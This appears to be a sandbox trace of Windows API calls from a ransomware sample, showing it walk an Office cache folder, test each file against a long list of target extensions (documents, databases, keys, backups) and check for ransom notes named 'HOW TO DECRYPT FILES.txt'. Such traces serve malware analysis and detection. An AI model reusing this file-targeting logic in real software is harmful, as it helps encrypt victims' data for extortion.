[0057.620] lstrlenA (lpString="*.php") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.cs") returned 0 [0057.620] lstrlenA (lpString="*.cs") returned 4 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.cpp") returned 0 [0057.620] lstrlenA (lpString="*.cpp") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.rar") returned 0 [0057.620] lstrlenA (lpString="*.rar") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.zip") returned 0 [0057.620] lstrlenA (lpString="*.zip") returned 5 [0057.620] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.html") returned 0 [0057.620] lstrlenA (lpString="*.html") returned 6 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.htm") returned 0 [0057.621] lstrlenA (lpString="*.htm") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.xlsx") returned 0 [0057.621] lstrlenA (lpString="*.xlsx") returned 6 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.xls") returned 0 [0057.621] lstrlenA (lpString="*.xls") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mp4") returned 0 [0057.621] lstrlenA (lpString="*.mp4") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.ppt") returned 0 [0057.621] lstrlenA (lpString="*.ppt") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.pptx") returned 0 [0057.621] lstrlenA (lpString="*.pptx") returned 6 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.doc") returned 0 [0057.621] lstrlenA (lpString="*.doc") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.dot") returned 0 [0057.621] lstrlenA (lpString="*.dot") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.docx") returned 0 [0057.621] lstrlenA (lpString="*.docx") returned 6 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.7z") returned 0 [0057.621] lstrlenA (lpString="*.7z") returned 4 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.tar") returned 0 [0057.621] lstrlenA (lpString="*.tar") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.bz2") returned 0 [0057.621] lstrlenA (lpString="*.bz2") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.gz") returned 0 [0057.621] lstrlenA (lpString="*.gz") returned 4 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mkv") returned 0 [0057.621] lstrlenA (lpString="*.mkv") returned 5 [0057.621] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.eml") returned 0 [0057.622] lstrlenA (lpString="*.eml") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.msg") returned 0 [0057.622] lstrlenA (lpString="*.msg") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.edb") returned 0 [0057.622] lstrlenA (lpString="*.edb") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.accdb") returned 0 [0057.622] lstrlenA (lpString="*.accdb") returned 7 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.odb") returned 0 [0057.622] lstrlenA (lpString="*.odb") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.java") returned 0 [0057.622] lstrlenA (lpString="*.java") returned 6 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.asm") returned 0 [0057.622] lstrlenA (lpString="*.asm") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.pfx") returned 0 [0057.622] lstrlenA (lpString="*.pfx") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.pem") returned 0 [0057.622] lstrlenA (lpString="*.pem") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.p12") returned 0 [0057.622] lstrlenA (lpString="*.p12") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.gpg") returned 0 [0057.622] lstrlenA (lpString="*.gpg") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.vsd") returned 0 [0057.622] lstrlenA (lpString="*.vsd") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.odg") returned 0 [0057.622] lstrlenA (lpString="*.odg") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.raw") returned 0 [0057.622] lstrlenA (lpString="*.raw") returned 5 [0057.622] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.nef") returned 0 [0057.622] lstrlenA (lpString="*.nef") returned 5 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.svg") returned 0 [0057.623] lstrlenA (lpString="*.svg") returned 5 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.psd") returned 0 [0057.623] lstrlenA (lpString="*.psd") returned 5 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.vmx") returned 0 [0057.623] lstrlenA (lpString="*.vmx") returned 5 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.vmdk") returned 0 [0057.623] lstrlenA (lpString="*.vmdk") returned 6 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.vdi") returned 0 [0057.623] lstrlenA (lpString="*.vdi") returned 5 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.lay6") returned 0 [0057.623] lstrlenA (lpString="*.lay6") returned 6 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mpeg") returned 0 [0057.623] lstrlenA (lpString="*.mpeg") returned 6 [0057.623] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.djvu") returned 0 [0057.623] lstrlenA (lpString="*.djvu") returned 6 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.tiff") returned 0 [0057.624] lstrlenA (lpString="*.tiff") returned 6 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.backup") returned 0 [0057.624] lstrlenA (lpString="*.backup") returned 8 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.pdf") returned 0 [0057.624] lstrlenA (lpString="*.pdf") returned 5 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.cert") returned 0 [0057.624] lstrlenA (lpString="*.cert") returned 6 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.docm") returned 0 [0057.624] lstrlenA (lpString="*.docm") returned 6 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.xlsm") returned 0 [0057.624] lstrlenA (lpString="*.xlsm") returned 6 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.dwg") returned 0 [0057.624] lstrlenA (lpString="*.dwg") returned 5 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.nd") returned 0 [0057.624] lstrlenA (lpString="*.nd") returned 4 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.tlg") returned 0 [0057.624] lstrlenA (lpString="*.tlg") returned 5 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.lgb") returned 0 [0057.624] lstrlenA (lpString="*.lgb") returned 5 [0057.624] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mov") returned 0 [0057.625] lstrlenA (lpString="*.mov") returned 5 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.xdw") returned 0 [0057.625] lstrlenA (lpString="*.xdw") returned 5 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.ods") returned 0 [0057.625] lstrlenA (lpString="*.ods") returned 5 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.wav") returned 0 [0057.625] lstrlenA (lpString="*.wav") returned 5 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.mp3") returned 0 [0057.625] lstrlenA (lpString="*.mp3") returned 5 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.aiff") returned 0 [0057.625] lstrlenA (lpString="*.aiff") returned 6 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.flac") returned 0 [0057.625] lstrlenA (lpString="*.flac") returned 6 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.m4a") returned 0 [0057.625] lstrlenA (lpString="*.m4a") returned 5 [0057.625] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml", pszSpec="*.csv") returned 0 [0057.625] lstrlenA (lpString="*.csv") returned 5 [0057.625] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x780074, dwReserved1=0x74, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0057.625] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.625] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PptLR.cab") returned -1 [0057.625] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PptLR.cab") returned -1 [0057.625] lstrcmpiA (lpString1="", lpString2="PptLR.cab") returned -1 [0057.625] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned="PowerPointMUI.xml" [0057.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" [0057.625] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\") returned="" [0057.625] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.626] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.626] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\", lpString2="PptLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.ems") returned 0 [0057.626] lstrlenA (lpString="*.ems") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.db") returned 0 [0057.626] lstrlenA (lpString="*.db") returned 4 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.dbf") returned 0 [0057.626] lstrlenA (lpString="*.dbf") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.myox") returned 0 [0057.626] lstrlenA (lpString="*.myox") returned 6 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.myo") returned 0 [0057.626] lstrlenA (lpString="*.myo") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qbw") returned 0 [0057.626] lstrlenA (lpString="*.qbw") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qbb") returned 0 [0057.626] lstrlenA (lpString="*.qbb") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qbm") returned 0 [0057.626] lstrlenA (lpString="*.qbm") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qbo") returned 0 [0057.626] lstrlenA (lpString="*.qbo") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qbx") returned 0 [0057.626] lstrlenA (lpString="*.qbx") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qba") returned 0 [0057.626] lstrlenA (lpString="*.qba") returned 5 [0057.626] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qby") returned 0 [0057.627] lstrlenA (lpString="*.qby") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qbj") returned 0 [0057.627] lstrlenA (lpString="*.qbj") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.ofx") returned 0 [0057.627] lstrlenA (lpString="*.ofx") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.qif") returned 0 [0057.627] lstrlenA (lpString="*.qif") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.mye") returned 0 [0057.627] lstrlenA (lpString="*.mye") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.mbox") returned 0 [0057.627] lstrlenA (lpString="*.mbox") returned 6 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.eml") returned 0 [0057.627] lstrlenA (lpString="*.eml") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.pst") returned 0 [0057.627] lstrlenA (lpString="*.pst") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.ost") returned 0 [0057.627] lstrlenA (lpString="*.ost") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.idx") returned 0 [0057.627] lstrlenA (lpString="*.idx") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.dbx") returned 0 [0057.627] lstrlenA (lpString="*.dbx") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.sql") returned 0 [0057.627] lstrlenA (lpString="*.sql") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.mdb") returned 0 [0057.627] lstrlenA (lpString="*.mdb") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.fdb") returned 0 [0057.627] lstrlenA (lpString="*.fdb") returned 5 [0057.627] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.wab") returned 0 [0057.628] lstrlenA (lpString="*.wab") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.dat") returned 0 [0057.628] lstrlenA (lpString="*.dat") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.txt") returned 0 [0057.628] lstrlenA (lpString="*.txt") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.jpeg") returned 0 [0057.628] lstrlenA (lpString="*.jpeg") returned 6 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.jpg") returned 0 [0057.628] lstrlenA (lpString="*.jpg") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.png") returned 0 [0057.628] lstrlenA (lpString="*.png") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.php") returned 0 [0057.628] lstrlenA (lpString="*.php") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.cs") returned 0 [0057.628] lstrlenA (lpString="*.cs") returned 4 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.cpp") returned 0 [0057.628] lstrlenA (lpString="*.cpp") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.rar") returned 0 [0057.628] lstrlenA (lpString="*.rar") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.zip") returned 0 [0057.628] lstrlenA (lpString="*.zip") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.html") returned 0 [0057.628] lstrlenA (lpString="*.html") returned 6 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.htm") returned 0 [0057.628] lstrlenA (lpString="*.htm") returned 5 [0057.628] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.xlsx") returned 0 [0057.629] lstrlenA (lpString="*.xlsx") returned 6 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.xls") returned 0 [0057.629] lstrlenA (lpString="*.xls") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.mp4") returned 0 [0057.629] lstrlenA (lpString="*.mp4") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.ppt") returned 0 [0057.629] lstrlenA (lpString="*.ppt") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.pptx") returned 0 [0057.629] lstrlenA (lpString="*.pptx") returned 6 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.doc") returned 0 [0057.629] lstrlenA (lpString="*.doc") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.dot") returned 0 [0057.629] lstrlenA (lpString="*.dot") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.docx") returned 0 [0057.629] lstrlenA (lpString="*.docx") returned 6 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.7z") returned 0 [0057.629] lstrlenA (lpString="*.7z") returned 4 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.tar") returned 0 [0057.629] lstrlenA (lpString="*.tar") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.bz2") returned 0 [0057.629] lstrlenA (lpString="*.bz2") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.gz") returned 0 [0057.629] lstrlenA (lpString="*.gz") returned 4 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.mkv") returned 0 [0057.629] lstrlenA (lpString="*.mkv") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.eml") returned 0 [0057.629] lstrlenA (lpString="*.eml") returned 5 [0057.629] PathMatchSpecA (pszFile="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", pszSpec="*.msg") returned 0 [0057.630] 